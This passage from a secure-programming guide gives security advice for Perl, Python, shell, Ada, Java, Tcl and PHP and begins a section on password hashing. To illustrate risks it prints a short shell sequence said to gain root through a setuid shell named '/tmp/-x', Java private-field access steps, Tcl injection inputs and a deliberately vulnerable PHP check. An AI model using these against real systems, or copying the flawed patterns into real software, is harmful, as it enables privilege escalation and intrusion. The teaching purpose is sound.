Perl programmers should first read the man page perlsec(1), which describes a number of issues involved with writing secure programs in Perl. In particular, perlsec(1) describes the “taint” mode, which most secure Perl programs should use. Taint mode is automatically enabled if the real and effective user or group IDs differ, or you can use the -T command line flag (use the latter if you’re running on behalf of someone else, e.g., a CGI script). Taint mode turns on various checks, such as checking path directories to make sure they aren’t writable by others.

The most obvious affect of taint mode, however, is that you may not use data derived from outside your program to affect something else outside your program by accident. In taint mode, all externally-obtained input is marked as “tainted”, including command line arguments, environment variables, locale information (see perllocale(1)), results of certain system calls (readdir, readlink, the gecos field of getpw* calls), and all file input. Tainted data may not be used directly or indirectly in any command that invokes a sub-shell, nor in any command that modifies files, directories, or processes. There is one important exception: If you pass a list of arguments to either system or exec, the elements of that list are NOT checked for taintedness, so be especially careful with system or exec while in taint mode.

Any data value derived from tainted data becomes tainted also. There is one exception to this; the way to untaint data is to extract a substring of the tainted data. Don’t just use “.*” blindly as your substring, though, since this would defeat the tainting mechanism’s protections. Instead, identify patterns that identify the “safe” pattern allowed by your program, and use them to extract “good” values. After extracting the value, you may still need to check it (in particular for its length).

The open, glob, and backtick functions call the shell to expand filename wild card characters; this can be used to open security holes. You can try to avoid these functions entirely, or use them in a less-privileged “sandbox” as described in perlsec(1). In particular, backticks should be rewritten using the system() call (or even better, changed entirely to something safer).

The perl open() function comes with, frankly, “way too much magic” for most secure programs; it interprets text that, if not carefully filtered, can create lots of security problems. Before writing code to open or lock a file, consult the perlopentut(1) man page. In most cases, sysopen() provides a safer (though more convoluted) approach to opening a file. The new Perl 5.6 adds an open() call with 3 parameters to turn off the magic behavior without requiring the convolutions of sysopen().

Perl programs should turn on the warning flag (-w), which warns of potentially dangerous or obsolete statements.

You can also run Perl programs in a restricted environment. For more information see the “Safe” module in the standard Perl distribution. I’m uncertain of the amount of auditing that this has undergone, so beware of depending on this for security. You might also investigate the “Penguin Model for Secure Distributed Internet Scripting”, though at the time of this writing the code and documentation seems to be unavailable.

Many installations include a setuid root version of perl named “suidperl”. However, the perldelta man page version 5.6.1 recommends using sudo instead, stating the following:

"Note that suidperl is neither built nor installed by default in any recent version of perl. Use of suidperl is highly discouraged. If you think you need it, try alternatives such as sudo first. See http://www.courtesan.com/sudo/".

10.3. Python

As with any language, beware of any functions which allow data to be executed as parts of a program, to make sure an untrusted user can’t affect their input. This includes exec(), eval(), and execfile() (and frankly, you should check carefully any call to compile()). The input() statement is also surprisingly dangerous. [Watters 1996, 150].

Python programs with privileges that can be invoked by unprivileged users (e.g., setuid/setgid programs) must not import the “user” module. The user module causes the pythonrc.py file to be read and executed. Since this file would be under the control of an untrusted user, importing the user module allows an attacker to force the trusted program to run arbitrary code.

Python does very little compile-time checking -- it has essentially no compile-time type information, for example. This is unfortunate, resulting in a lot of latent bugs (both John Viega and I have experienced this problem). Hopefully someday Python will implement optional static typing and type-checking, an idea that’s been discussed for some time. A partial solution for now is PyChecker, a lint-like program that checks for common bugs in Python source code. You can get PyChecker from http://pychecker.sourceforge.net

Before Python version 2.3, Python included support for “Restricted Execution” through its RExec and Bastion classes. The RExec class was primarily intended for executing applets and mobile code, but it could also be used to try to limit privilege in a program even when the code has not been provided externally. The Bastion module was intended to supports restricted access to another object. For more information, see Kuchling [2000]. Earlier versions of this book identified these functions but noted them as "programmer beware", and I was right to be concerned. More recent analysis has found that RExec and Bastion are fundamentally flawed, and have unfixable exploitable security flaws. Thus, these classes have been removed from Python 2.3, and should not be used to enforce security in any version of Python. There is ongoing work to develop alternative approaches to running untrusted Python code, such as the experimental Sandbox.py module. Do not use this experimental Sandbox.py module for serious purposes yet.

Supporting secure execution of untrusted code in Python turns out to be a rather difficult problem. For example, allowing a user to unrestrictedly add attributes to a class permits all sorts of ways to subvert the environment because Python’s implementation calls many “hidden” methods. By default, most Python objects are passed by reference; if you insert a reference to a mutable value into a restricted program’s environment, the restricted program can change the object in a way that’s visible outside the restricted environment. Thus, if you want to give access to a mutable value, in many cases you should copy the mutable value. Fundamentally, Python is designed to be a clean and highly reflexive language, which is good for a general-purpose language but makes handling malicious code more difficult.

Python supports operations called "pickle" and "unpickling" to conveniently store and retrieve sets of objects. NEVER unpickle data from an untrusted source. Python 2.2 did a half-hearted job of trying to support unpickling from untrusted sources (the __safe_for_unpickling__ attribute), but it was never audited and probably never really worked. Python 2.3 has removed all of this, and made explicitly clear that unpickling is not a safe operation. For more information, see PEP 307.

10.4. Shell Scripting Languages (sh and csh Derivatives)

I strongly recommend against using standard command shell scripting languages (such as csh, sh, and bash) for setuid/setgid secure code. Some systems (such as Linux) completely disable setuid/setgid shell scripts, so creating setuid/setgid shell scripts creates an unnecessary portability problem. On some old systems they are fundamentally insecure due to a race condition (as discussed in Section 3.1.3). Even for other systems, they’re not really a good idea.

In fact, there are a vast number of circumstances where shell scripting languages shouldn’t be used at all for secure programs. Standard command shells are notorious for being affected by nonobvious inputs - generally because command shells were designed to try to do things “automatically” for an interactive user, not to defend against a determined attacker. Shell programs are fine for programs that don’t need to be secure (e.g., they run at the same privilege as the unprivileged user and don’t accept “untrusted” data). They can also be useful when they’re running with privilege, as long as all the input (e.g., files, directories, command line, environment, etc.) are all from trusted users - which is why they’re often used quite successfully in startup/shutdown scripts.

Writing secure shell programs in the presence of malicious input is harder than in many other languages because of all the things that shells are affected by. For example, “hidden” environment variables (e.g., the ENV, BASH_ENV, and IFS values) can affect how they operate or even execute arbitrary user-defined code before the script can even execute. Even things like filenames of the executable or directory contents can affect execution. If an attacker can create filenames containing some control characters (e.g., newline), or whitespace, or shell metacharacters, or begin with a dash (the option flag syntax), there are often ways to exploit them. For example, on many Bourne shell implementations, doing the following will grant root access (thanks to NCSA for describing this exploit):

 % ln -s /usr/bin/setuid-shell /tmp/-x
 % cd /tmp
 % -x

If you still insist on using shell scripting languages, at least put the script in a directory where it cannot be moved or changed. Set PATH and IFS to known values very early in your script; indeed, the environment should be cleaned before the script is called. Also, very early on, “cd” to a safe directory. Use data only from directories that is controlled by trusted users, e.g., /etc, so that attackers can’t insert maliciously-named files into those directories. Be sure to quote every filename passed on a command line, e.g., use "$1" not $1, because filenames with whitespace will be split. Call commands using "--" to disable additional options where you can, because attackers may create or pass filenames beginning with dash in the hope of tricking the program into processing it as an option. Be especially careful of filenames embedding other characters (e.g., newlines and other control characters). Examine input filenames especially carefully and be very restrictive on what filenames are permitted.

If you don’t mind limiting your program to only work with GNU tools (or if you detect and optionally use the GNU tools instead when they are available), you might want to use NIL characters as the filename terminator instead of newlines. By using NIL characters, rather than whitespace or newlines, handling nasty filenames (e.g., those with embedded newlines) is much simpler. Several GNU tools that output or input filenames can use this format instead of the more common “one filename per line” format. Unfortunately, the name of this option isn’t consistent between tools; for many tools the name of this option is “--null” or “-0”. GNU programs xargs and cpio allow using either --null or -0, tar uses --null, find uses -print0, grep uses either --null or -Z, and sort uses either -z or --zero-terminated. Those who find this inconsistency particularly disturbing are invited to supply patches to the GNU authors; I would suggest making sure every program supported “--null” since that seems to be the most common option name. For example, here’s one way to move files to a target directory, even if there may be a vast number of files and some may have awkward names with embedded newlines (thanks to Jim Dennis for reminding me of this):

 find . -print0 | xargs --null mv --target-dir=$TARG

In a similar vein, I recommend not trusting “restricted shells” to implement secure policies. Restricted shells are shells that intentionally prevent users from performing a large set of activities - their goal is to force users to only run a small set of programs. A restricted shell can be useful as a defense-in-depth measure, but restricted shells are notoriously hard to configure correctly and as configured are often subvertable. For example, some restricted shells will start by running some file in an unrestricted mode (e.g., “.profile”) - if a user can change this file, they can force execution of that code. A restricted shell should be set up to only run a few programs, but if any of those programs have “shell escapes” to let users run more programs, attackers can use those shell escapes to escape the restricted shell. Even if the programs don’t have shell escapes, it’s quite likely that the various programs can be used together (along with the shell’s capabilities) to escape the restrictions. Of course, if you don’t set the PATH of a restricted shell (and allow any program to run), then an attacker can use the shell escapes of many programs (including text editors, mailers, etc.). The problem is that the purpose of a shell is to run other programs, but those other programs may allow unintended operations -- and the shell doesn’t interpose itself to prevent these operations.

10.5. Ada

In Ada95, the Unbounded_String type is often more flexible than the String type because it is automatically resized as necessary. However, don’t store especially sensitive secret values such as passwords or secret keys in an Unbounded_String, since core dumps and page areas might still hold them later. Instead, use the String type for this data, lock it into memory while it’s used, and overwrite the data as soon as possible with some constant value such as (others => ' '). Use the Ada pragma Inspection_Point on the object holding the secret after erasing the memory. That way, you can be certain that the object containing the secret will really be erased (and that the the overwriting won’t be optimized away).

Like many other languages, Ada’s string types (including String and Unbounded_String) can hold ASCII 0. If that’s then passed to a C library (including a kernel), that can be interpreted very differently by the library than the caller intended.

It’s common for beginning Ada programmers to believe that the String type’s first index value is always 1, but this isn’t true if the string is sliced. Avoid this error.

It’s worth noting that SPARK is a “high-integrity subset of the Ada programming language”; SPARK users use a tool called the “SPARK Examiner” to check conformance to SPARK rules, including flow analysis, and there are various supports for full formal proof of the code if desired. See the SPARK website for more information. To my knowledge, there are no OSS/FS SPARK tools. If you’re storing passwords and private keys you should still lock them into memory if appropriate and overwrite them as soon as possible. Note that SPARK is often used in environments where paging does not occur.

10.6. Java

If you’re developing secure programs using Java, frankly your first step (after learning Java) is to read the two primary texts for Java security, namely Gong [1999] and McGraw [1999] (for the latter, look particularly at section 7.1). You should also look at Sun’s posted security code guidelines at http://java.sun.com/security/seccodeguide.html, and there’s a nice article by Sahu et al [2002] A set of slides describing Java’s security model are freely available at https://www.dwheeler.com/javasec. You can also see McGraw [1998].

Obviously, a great deal depends on the kind of application you’re developing. Java code intended for use on the client side has a completely different environment (and trust model) than code on a server side. The general principles apply, of course; for example, you must check and filter any input from an untrusted source. However, in Java there are some “hidden” inputs or potential inputs that you need to be wary of, as discussed below. Johnathan Nightingale [2000] made an interesting statement summarizing many of the issues in Java programming:

... the big thing with Java programming is minding your inheritances. If you inherit methods from parents, interfaces, or parents’ interfaces, you risk opening doors to your code.

The following are a few key guidelines, based on Gong [1999], McGraw [1999], Sun’s guidance, and my own experience:

1. Do not use public fields or variables; declare them as private and provide accessors to them so you can limit their accessibility.

2. Make methods private unless there is a good reason to do otherwise (and if you do otherwise, document why). These non-private methods must protect themselves, because they may receive tainted data (unless you’ve somehow arranged to protect them).

3. The JVM may not actually enforce the accessibility modifiers (e.g., “private”) at run-time in an application (as opposed to an applet). My thanks to John Steven (Cigital Inc.), who pointed this out on the “Secure Programming” mailing list on November 7, 2000. The issue is that it all depends on what class loader the class requesting the access was loaded with. If the class was loaded with a trusted class loader (including the null/ primordial class loader), the access check returns "TRUE" (allowing access). For example, this works (at least with Sun’s 1.2.2 VM ; it might not work with other implementations):

   1. write a victim class (V) with a public field, compile it.

   2. write an “attack” class (A) that accesses that field, compile it

   3. change V’s public field to private, recompile

   4. run A - it’ll access V’s (now private) field.

   However, the situation is different with applets. If you convert A to an applet and run it as an applet (e.g., with appletviewer or browser), its class loader is no longer a trusted (or null) class loader. Thus, the code will throw java.lang.IllegalAccessError, with the message that you’re trying to access a field V.secret from class A.

4. Avoid using static field variables. Such variables are attached to the class (not class instances), and classes can be located by any other class. As a result, static field variables can be found by any other class, making them much more difficult to secure.

5. Never return a mutable object to potentially malicious code (since the code may decide to change it). Note that arrays are mutable (even if the array contents aren’t), so don’t return a reference to an internal array with sensitive data.

6. Never store user given mutable objects (including arrays of objects) directly. Otherwise, the user could hand the object to the secure code, let the secure code “check” the object, and change the data while the secure code was trying to use the data. Clone arrays before saving them internally, and be careful here (e.g., beware of user-written cloning routines).

7. Don’t depend on initialization. There are several ways to allocate uninitialized objects.

8. Make everything final, unless there’s a good reason not to. If a class or method is non-final, an attacker could try to extend it in a dangerous and unforeseen way. Note that this causes a loss of extensibility, in exchange for security.

9. Don’t depend on package scope for security. A few classes, such as java.lang, are closed by default, and some Java Virtual Machines (JVMs) let you close off other packages. Otherwise, Java classes are not closed. Thus, an attacker could introduce a new class inside your package, and use this new class to access the things you thought you were protecting.

10. Don’t use inner classes. When inner classes are translated into byte codes, the inner class is translated into a class accesible to any class in the package. Even worse, the enclosing class’s private fields silently become non-private to permit access by the inner class!

11. Minimize privileges. Where possible, don’t require any special permissions at all. McGraw goes further and recommends not signing any code; I say go ahead and sign the code (so users can decide to “run only signed code by this list of senders”), but try to write the program so that it needs nothing more than the sandbox set of privileges. If you must have more privileges, audit that code especially hard.

12. If you must sign your code, put it all in one archive file. Here it’s best to quote McGraw [1999]:

    The goal of this rule is to prevent an attacker from carrying out a mix-and-match attack in which the attacker constructs a new applet or library that links some of your signed classes together with malicious classes, or links together signed classes that you never meant to be used together. By signing a group of classes together, you make this attack more difficult. Existing code-signing systems do an inadequate job of preventing mix-and-match attacks, so this rule cannot prevent such attacks completely. But using a single archive can’t hurt.

13. Make your classes uncloneable. Java’s object-cloning mechanism allows an attacker to instantiate a class without running any of its constructors. To make your class uncloneable, just define the following method in each of your classes:

    public final Object clone() throws java.lang.CloneNotSupportedException { throw new java.lang.CloneNotSupportedException(); }

    If you really need to make your class cloneable, then there are some protective measures you can take to prevent attackers from redefining your clone method. If you’re defining your own clone method, just make it final. If you’re not, you can at least prevent the clone method from being maliciously overridden by adding the following:

    public final void clone() throws java.lang.CloneNotSupportedException { super.clone(); }

14. Make your classes unserializeable. Serialization allows attackers to view the internal state of your objects, even private portions. To prevent this, add this method to your classes:

    private final void writeObject(ObjectOutputStream out) throws java.io.IOException { throw new java.io.IOException("Object cannot be serialized"); }

    Even in cases where serialization is okay, be sure to use the transient keyword for the fields that contain direct handles to system resources and that contain information relative to an address space. Otherwise, deserializing the class may permit improper access. You may also want to identify sensitive information as transient.

    If you define your own serializing method for a class, it should not pass an internal array to any DataInput/DataOuput method that takes an array. The rationale: All DataInput/DataOutput methods can be overridden. If a Serializable class passes a private array directly to a DataOutput(write(byte [] b)) method, then an attacker could subclass ObjectOutputStream and override the write(byte [] b) method to enable him to access and modify the private array. Note that the default serialization does not expose private byte array fields to DataInput/DataOutput byte array methods.

15. Make your classes undeserializeable. Even if your class is not serializeable, it may still be deserializeable. An attacker can create a sequence of bytes that happens to deserialize to an instance of your class with values of the attacker’s choosing. In other words, deserialization is a kind of public constructor, allowing an attacker to choose the object’s state - clearly a dangerous operation! To prevent this, add this method to your classes:

    private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Class cannot be deserialized"); }

16. Don’t compare classes by name. After all, attackers can define classes with identical names, and if you’re not careful you can cause confusion by granting these classes undesirable privileges. Thus, here’s an example of the wrong way to determine if an object has a given class:

    if (obj.getClass().getName().equals("Foo")) {

    If you need to determine if two objects have exactly the same class, instead use getClass() on both sides and compare using the == operator, Thus, you should use this form:

    if (a.getClass() == b.getClass()) {

    If you truly need to determine if an object has a given classname, you need to be pedantic and be sure to use the current namespace (of the current class’s ClassLoader). Thus, you’ll need to use this format:

    if (obj.getClass() == this.getClassLoader().loadClass("Foo")) {

    This guideline is from McGraw and Felten, and it’s a good guideline. I’ll add that, where possible, it’s often a good idea to avoid comparing class values anyway. It’s often better to try to design class methods and interfaces so you don’t need to do this at all. However, this isn’t always practical, so it’s important to know these tricks.

17. Don’t store secrets (cryptographic keys, passwords, or algorithm) in the code or data. Hostile JVMs can quickly view this data. Code obfuscation doesn’t really hide the code from serious attackers.

10.7. Tcl

Tcl stands for “tool command language” and is pronounced “tickle.” Tcl is divided into two parts: a language and a library. The language is a simple language, originally intended for issuing commands to interactive programs and including basic programming capabilities. The library can be embedded in application programs. You can find more information about Tcl at sites such as the Tcl.tk and the Tcl WWW Info web page and the comp.lang.tcl FAQ launch page at http://www.tclfaq.wservice.com/tcl-faq. My thanks go to Wojciech Kocjan for providing some of this detailed information on using Tcl in secure applications.

For some security applications, especially interesting components of Tcl are Safe-Tcl (which creates a sandbox in Tcl) and Safe-TK (which implements a sandboxed portable GUI for Safe Tcl), as well as the WebWiseTclTk Toolkit which permits Tcl packages to be automatically located and loaded from anywhere on the World Wide Web. You can find more about the latter from http://www.cbl.ncsu.edu/software/WebWiseTclTk. It’s not clear to me how much code review this has received.

Tcl’s original design goal to be a small, simple language resulted in a language that was originally somewhat limiting and slow. For an example of the limiting weaknesses in the original language, see Richard Stallman’s “Why You Should Not Use Tcl”. For example, Tcl was originally designed to really support only one data type (string). Thankfully, these issues have been addressed over time. In particular, version 8.0 added support for more data types (integers are stored internally as integers, lists as lists and so on). This improves its capabilities, and in particular improves its speed.

As with essentially all scripting languages, Tcl has an "eval" command that parses and executes arbitrary Tcl commands. And like all such scripting languages, this eval command needs to be used especially carefully, or an attacker could insert characters in the input to cause malicious things to occur. For example, an attackers may be able insert characters with special meaning to Tcl such as embedded whitespace (including space and newline), double-quote, curly braces, square brackets, dollar signs, backslash, semicolon, or pound sign (or create input to cause these characters to be created during processing). This also applies to any function that passes data to eval as well (depending on how eval is called).

Here is a small example that may make this concept clearer; first, let’s define a small function and then interactively invoke it directly - note that these uses are fine:

 proc something {a b c d e} {
       puts "A='$a'"
       puts "B='$b'"
       puts "C='$c'"
       puts "D='$d'"
       puts "E='$e'"
 }
 
 % # This works normally:
 % something "test 1" "test2" "t3" "t4" "t5"
 A='test 1'
 B='test2'
 C='t3'
 D='t4'
 E='t5'
 
 % # Imagine that str1 is set by an attacker:
 % set str1 {test 1 [puts HELLOWORLD]}
 
 % # This works as well
 % something $str1 t2 t3 t4 t5
 A='test 1 [puts HELLOWORLD]'
 B='t2'
 C='t3'
 D='t4'
 E='t5'

 % # This is the WRONG way - str1 is interpreted.
 % eval something $str1 t2 t3
 HELLOWORLD
 A='test'
 B='1'
 C=''
 D='t2'
 E='t3'
 
 % # Here’s one solution, using "list".
 % eval something [list $str1 t2 t3 t4 t5]
 A='test 1 [puts HELLOWORLD]'
 B='t2'
 C='t3'
 D='t4'
 E='t5'
 
 % # Here’s another solution, using lrange:
 % eval something [lrange $str1 0 end] t2
 A='test'
 B='1'
 C='[puts'
 D='HELLOWORLD]'
 E='t2'

 proc vprintf {str arglist} {
      eval printf [list $str] [lrange $arglist 0 end]
 }
 
 % printf "1+1=%d  2+2=%d" 2 4
 % vprintf "1+1=%d  2+2=%d" {2 4}

Fundamentally, when passing a command that will be eventually evaluated, you must pass Tcl commands as a properly built list, and not as a (possibly concatentated) string. For example, the "after" command runs a Tcl command after a given number of milliseconds; if the data in $param1 can be controlled by an attacker, this Tcl code is dangerously wrong:

  # DON'T DO THIS if param1 can be controlled by an attacker
  after 1000 "someCommand someparam $param1"

Thus, the proper alternative would be:

 after 1000 [list someCommand someparam $param1]

 set cmd [list someCommand someparam]
 after 1000 [concat $cmd $param1]

Here’s another example showing what you shouldn’t do, pretending that $params is data controlled by possibly malicious user:

 set params "%-20s TESTSTRING"
 puts "'[eval format $params]'"

 'TESTSTRING       '

 set params "%-20s TESTSTRING\nputs HELLOWORLD"
 puts "'[eval format $params]'"

 HELLOWORLD
 'TESTINGSTRING       '

 set params "%-20s TESTINGSTRING\nputs HELLOWORLD"
 puts "'[eval format [lrange $params 0 end]]'"

 'TESTINGSTRING       '

As a matter of style always use curly braces when using if, while, for, expr, and any other command which parses an argument using expr/eval/subst. Doing this will avoid a common error when using Tcl called unintended double substitution (aka double substitution). This is best explained by example; the following code is incorrect:

 while ![eof $file] {
     set line [gets $file]
 }

 while {![eof $file]} {
      set line [gets $file]
 }

More information on good Tcl style can be found in documents such as Ray Johnson’s Tcl Style Guide.

In the past, I have stated that I don’t recommend Tcl for writing programs which must mediate a security boundary. Tcl seems to have improved since that time, so while I cannot guarantee Tcl will work for your needs, I can’t guarantee that any other language will work for you either. Again, my thanks to Wojciech Kocjan who provided some of these suggestions on how to write Tcl code for secure applications.

10.8. PHP

SecureReality has put out a very interesting paper titled “A Study In Scarlet - Exploiting Common Vulnerabilities in PHP” [Clowes 2001], which discusses some of the problems in writing secure programs in PHP, particularly in versions before PHP 4.1.0. Clowes concludes that “it is very hard to write a secure PHP application (in the default configuration of PHP), even if you try”.

Granted, there are security issues in any language, but one particular issue stands out in older versions of PHP that arguably makes older PHP versions less secure than most languages: the way it loads data into its namespace. By default, in PHP (versions 4.1.0 and lower) all environment variables and values sent to PHP over the web are automatically loaded into the same namespace (global variables) that normal variables are loaded into - so attackers can set arbitrary variables to arbitrary values, which keep their values unless explicitly reset by a PHP program. In addition, PHP automatically creates variables with a default value when they’re first requested, so it’s common for PHP programs to not initialize variables. If you forget to set a variable, PHP can report it, but by default PHP won’t - and note that this simply an error report, it won’t stop an attacker who finds an unusual way to cause it. Thus, by default PHP allows an attacker to completely control the values of all variables in a program unless the program takes special care to override the attacker. Once the program takes over, it can reset these variables, but failing to reset any variable (even one not obvious) might open a vulnerability in the PHP program.

For example, the following PHP program (an example from Clowes) intends to only let those who know the password to get some important information, but an attacker can set “auth” in their web browser and subvert the authorization check:

 <?php
  if ($pass == "hello")
   $auth = 1;
  ...
  if ($auth == 1)
   echo "some important information";
 ?>

I and many others have complained about this particularly dangerous problem; it’s particularly a problem because PHP is widely used. A language that’s supposed to be easy to use better make it easy to write secure programs in, after all. It’s possible to disable this misfeature in PHP by turning the setting “register_globals” to “off”, but by default PHP versions up through 4.1.0 default set this to “on” and PHP before 4.1.0 is harder to use with register_globals off. The PHP developers warned in their PHP 4.1.0 announcenment that “as of the next semi-major version of PHP, new installations of PHP will default to having register_globals set to off.” This has now happened; as of PHP version 4.2.0, External variables (from the environment, the HTTP request, cookies or the web server) are no longer registered in the global scope by default. The preferred method of accessing these external variables is by using the new Superglobal arrays, introduced in PHP 4.1.0.

PHP with “register_globals” set to “on” is a dangerous choice for nontrivial programs - it’s just too easy to write insecure programs. However, once “register_globals” is set to “off”, PHP is quite a reasonable language for development.

The secure default should include setting “register_globals” to “off”, and also including several functions to make it much easier for users to specify and limit the input they’ll accept from external sources. Then web servers (such as Apache) could separately configure this secure PHP installation. Routines could be placed in the PHP library to make it easy for users to list the input variables they want to accept; some functions could check the patterns these variables must have and/or the type that the variable must be coerced to. In my opinion, PHP is a bad choice for secure web development if you set register_globals on.

As I suggested in earlier versions of this book, PHP has been modified to become a reasonable choice for secure web development. However, note that PHP doesn’t have a particularly good security vulnerability track record (e.g., register_globals, a file upload problem, and a format string problem in the error reporting library); I believe that security issues were not considered sufficiently in early editions of PHP; I also think that the PHP developers are now emphasizing security and that these security issues are finally getting worked out. One evidence is the major change that the PHP developers have made to get turn off register_globals; this had a significant impact on PHP users, and their willingness to make this change is a good sign. Unfortunately, it’s not yet clear how secure PHP really is; PHP just hasn’t had much of a track record now that the developers of PHP are examining it seriously for security issues. Hopefully this will become clear quickly.

If you’ve decided to use PHP, here are some of my recommendations (many of these recommendations are based on ways to counter the issues that Clowes raises):

• Set the PHP configuration option “register_globals” off, and use PHP 4.2.0 or greater. PHP 4.1.0 adds several special arrays, particularly $_REQUEST, which makes it far simpler to develop software in PHP when “register_globals” is off. Setting register_globals off, which is the default in PHP 4.2.0, completely eliminates the most common PHP attacks. If you’re assuming that register_globals is off, you should check for this first (and halt if it’s not true) - that way, people who install your program will quickly know there’s a problem. Note that many third-party PHP applications cannot work with this setting, so it can be difficult to keep it off for an entire website. It’s possible to set register_globals off for only some programs. For example, for Apache, you could insert these lines into the file .htaccess in the PHP directory (or use Directory directives to control it further):

  php_flag register_globals Off php_flag track_vars On

  However, the .htaccess file itself is ignored unless the Apache web server is configured to permit overrides; often the Apache global configuration is set so that AllowOverride is set to None. So, for Apache users, if you can convince your web hosting service to set “AllowOverride Options” in their configuration file (often /etc/http/conf/http.conf) for your host, do that. Then write helper functions to simplify loading the data you need (and only that data).

• If you must develop software where register_globals might be on while running (e.g., a widely-deployed PHP application), always set values not provided by the user. Don’t depend on PHP default values, and don’t trust any variable you haven’t explicitly set. Note that you have to do this for every entry point (e.g., every PHP program or HTML file using PHP). The best approach is to begin each PHP program by setting all variables you’ll be using, even if you’re simply resetting them to the usual default values (like "" or 0). This includes global variables referenced in included files, even all libraries, transitively. Unfortunately, this makes this recommendation hard to do, because few developers truly know and understand all global variables that may be used by all functions they call. One lesser alternative is to search through HTTP_GET_VARS, HTTP_POST_VARS, HTTP_COOKIE_VARS, and HTTP_POST_FILES to see if the user provided the data - but programmers often forget to check all sources, and what happens if PHP adds a new data source (e.g., HTTP_POST_FILES wasn’t in old versions of PHP). Of course, this simply tells you how to make the best of a bad situation; in case you haven’t noticed yet, turn off register_globals!

• Set the error reporting level to E_ALL, and resolve all errors reported by it during testing. Among other things, this will complain about un-initialized variables, which are a key issues in PHP. This is a good idea anyway whenever you start using PHP, because this helps debug programs, too. There are many ways to set the error reporting level, including in the “php.ini” file (global), the “.htttpd.conf” file (single-host), the “.htaccess” file (multi-host), or at the top of the script through the error_reporting function. I recommend setting the error reporting level in both the php.ini file and also at the top of the script; that way, you’re protected if (1) you forget to insert the command at the top of the script, or (2) move the program to another machine and forget to change the php.ini file. Thus, every PHP program should begin like this:

  <?php error_reporting(E_ALL);?>

  It could be argued that this error reporting should be turned on during development, but turned off when actually run on a real site (since such error message could give useful information to an attacker). The problem is that if they’re disabled during “actual use” it’s all too easy to leave them disabled during development. So for the moment, I suggest the simple approach of simply including it in every entrance. A much better approach is to record all errors, but direct the error reports so they’re only included in a log file (instead of having them reported to the attacker).

• Filter any user information used to create filenames carefully, in particular to prevent remote file access. PHP by default comes with “remote files” functionality -- that means that file-opening commands like fopen(), that in other languages can only open local files, can actually be used to invoke web or ftp requests from another site.

• Do not use old-style PHP file uploads; use the HTTP_POST_FILES array and related functions. PHP supports file uploads by uploading the file to some temporary directory with a special filename. PHP originally set a collection of variables to indicate where that filename was, but since an attacker can control variable names and their values, attackers could use that ability to cause great mischief. Instead, always use HTTP_POST_FILES and related functions to access uploaded files. Note that even in this case, PHP’s approach permits attackers to temporarily upload files to you with arbitrary content, which is risky by itself.

• Only place protected entry points in the document tree; place all other code (which should be most of it) outside the document tree. PHP has a history of unfortunate advice on this topic. Originally, PHP users were supposed to use the “.inc” (include) extension for “included” files, but these included files often had passwords and other information, and Apache would just give requesters the contents of the “.inc” files when asked to do so when they were in the document tree. Then developers gave all files a “.php” extension - which meant that the contents weren’t seen, but now files never meant to be entry points became entry points and were sometimes exploitable. As mentioned earlier, the usual security advice is the best: place only the proected entry points (files) in the document tree, and place other code (e.g., libraries) outside the document tree. There shouldn’t be any “.inc” files in the document tree at all.

• Avoid the session mechanism. The “session” mechanism is handy for storing persistent data, but its current implementation has many problems. First, by default sessions store information in temporary files - so if you’re on a multi-hosted system, you open yourself up to many attacks and revelations. Even those who aren’t currently multi-hosted may find themselves multi-hosted later! You can "tie" this information into a database instead of the filesystem, but if others on a multi-hosted database can access that database with the same permissions, the problem is the same. There are also ambiguities if you’re not careful (“is this the session value or an attacker’s value”?) and this is another case where an attacker can force a file or key to reside on the server with content of their choosing - a dangerous situation - and the attacker can even control to some extent the name of the file or key where this data will be placed.

• Use directives to limit privileges (such as safe_mode, disable_function, and open_basedir), but do not rely on them. These directives can help limit some simple casual attacks, so they’re worth applying. However, they’re unlikely to be sufficient to protect against real attacks; they depend only on the user-space PHP program to do protection, a function it’s not really designed to perform. Instead, you should employ operating system protections (e.g., running separate processes and users) for serious protection.

• For all inputs, check that they match a pattern for acceptability (as with any language), and then use type casting to coerce non-string data into the type it should have. Develop “helper” functions to easily check and import a selected list of (expected) inputs. PHP is loosely typed, and this can cause trouble. For example, if an input datum has the value "000", it won’t be equal to "0" nor is it empty(). This is particularly important for associative arrays, because their indexes are strings; this means that $data["000"] is different than $data["0"]. For example, to make sure $bar has type double (after making sure it only has the format legal for a double):

  $bar = (double) $bar;

• Be careful of any functions that execute PHP code as strings - make sure attackers cannot control the string contents. This includes eval(), exec(), include(), passthru(), popen(), preg_replace() when the /e modifier is used, require(), system(), and the backtick operator.

• Be especially careful of risky functions. For example, this includes functions that open files (e.g., fopen(), readfile(), and file()); make sure attackers cannot force the program to open arbitrary files. Older versions of PHP (prior to 4.3.0) had a buffer overflow vulnerability in the wordwrap() function, so if you use old versions beware (or even better, upgrade, and make sure your customers upgrade by checking the version number in the installer).

• Use magic_quotes_gpc() where appropriate - this eliminates many kinds of attacks.

• Avoid file uploads, and consider modifying the php.ini file to disable them (file_uploads = Off). File uploads have had security holes in the past, so on older PHP’s this is a necessity, and until more experience shows that they’re safe this isn’t a bad thing to remove. Remember, in general, to secure a system you should disable or remove anything you don’t need.

11.1. Passwords

Where possible, don’t write code to handle passwords. In particular, if the application is local, try to depend on the normal login authentication by a user. If the application is a CGI script, try to depend on the web server to provide the protection as much as possible - but see below about handling authentication in a web server. If the application is over a network, avoid sending the password as cleartext (where possible) since it can be easily captured by network sniffers and reused later. “Encrypting” a password using some key fixed in the algorithm or using some sort of shrouding algorithm is essentially the same as sending the password as cleartext.

When transmitting passwords over a network, cryptographically authenticate and encrypt the connection. (Below we will discuss web authentication, which typically uses SSL/TLS to do this.)

When implementing a system that users log in to using passwords (such as many server), never store the passwords as-is (i.e., never store passwords “in the clear”). A common problem today is that attackers may be able to briefly break into systems, or acquire data backups; in such cases they can then forge every user account, at least on that system and typically on many others.

Today, the bare-minimum acceptable method for systems that many users log into using passwords to use a cryptographic hash that includes per-user salt and uses an intentionally-slow hash function designed for the purpose. For brevity, these are known as “salted hashes” (though many would use the term “salted hash” if it only met the first two criteria). Let's briefly examine what that means, and why each part is necessary:

• Cryptographic hash: A cryptographic hash function, such as SHA-512, converts data into a “fingerprint” that is very difficult to invert. If a hash function is used, an attacker cannot just see what the password is, but instead, must somehow determine the password given the fingerprint.

• Per-user salt: An attacker could counteract simple cryptographic hashes by simply pre-hashing many common passwords and then seeing if any of the many passwords match one the precomputed hash values. This can be counteracted by creating, for each user, an additional random value called a salt that is used as part of the data to be hashed. This data needs to be stored (unencrypted) for each user. Salt should be generated using a cryptographic pseudo-random number generator, and a it should have at least 128 bits (per NIST SP 800-132).

